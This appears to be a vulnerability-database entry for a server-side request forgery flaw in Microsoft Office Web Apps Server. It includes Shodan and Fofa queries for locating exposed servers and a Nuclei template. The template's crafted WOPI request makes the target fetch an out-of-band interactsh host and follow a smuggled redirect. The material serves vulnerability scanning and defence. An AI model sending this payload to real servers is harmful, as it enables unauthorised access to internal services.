SecurityContext

office-webapps-ssrf: Office Web Apps Server Full Read - Server Side Request Forgery

Classification

  • Cwe: CWE-918
  • Cpe: cpe:2.3:a:microsoft:office_web_apps_server:*:*:*:*:*:*:*:*
  • Not known: cvss score, cvss vector, epss score, epss percentile

Metadata

  • Fofa-query: body="Provide a link that opens Word"
  • Max-request: 1
  • Product: office_web_apps_server
  • Shodan-query: html:"Provide a link that opens Word"
  • Vendor: microsoft
  • Verified: yes

Products

ProductIndexedUrl
microsoft:office_web_apps_serveryes/v1/products/microsoft/office_web_apps_server

Labels

  • Name: Microsoft Office Web Apps Server - Server Side Request Forgery
  • Impact: Attackers can make arbitrary outbound requests from the server, potentially accessing internal services or sensitive information.
  • Remediation: Update to the latest version of Office Web Apps Server.
  • Vulnerability type: server_side_request_forgery
  • Requirement type: none
  • Labels source: securitycontext
  • Checked, none or zero: vulnerability impact
  • Not known: requirements, from cve

```yaml

id: office-webapps-ssrf

info:

name: Office Web Apps Server Full Read - Server Side Request Forgery

author: DhiyaneshDK

severity: high

description: Office Web Apps Server Full Read is vulnerable to SSRF.

reference:

- https://drive.google.com/file/d/1aeNq_5wVwHRR1np1jIRQM1hocrgcZ6Qu/view#page=37

- https://drive.google.com/file/d/1aeNq_5wVwHRR1np1jIRQM1hocrgcZ6Qu/view#page=38

classification:

cpe: cpe:2.3:a:microsoft:office_web_apps_server:*:*:*:*:*:*:*:*

cwe-id: CWE-918

metadata:

verified: true

max-request: 1

shodan-query: html:"Provide a link that opens Word"

fofa-query: body="Provide a link that opens Word"

product: office_web_apps_server

vendor: microsoft

tags: microsoft,office-webapps,redirect,vuln

variables:

oast: "{{interactsh-url}}"

string: "{{to_lower(rand_text_alpha(4))}}"

http:

- raw:

- |

GET /oh/wopi/files/@/wFileId/contents?wFileId=http://{{oast}}/{{string}}.xlsx%3fbody={{string}}%26header=Location:http://oast.pro%26status=302&access_token_ttl=0 HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')

- contains(body,'<h1> Interactsh Server </h1>')

- status_code == 200

condition: and

digest: 4a0a00473045022100f0a068fcb708194365a3d4d4c3e1c2192a5340a43eaae418d7ad709d6b0b70d60220788910dcd2bfc0bf4539389911613945ecc8489834f0bfc6cadf9ade83354af5:922c64590222798bb761d5b6d8e72950

```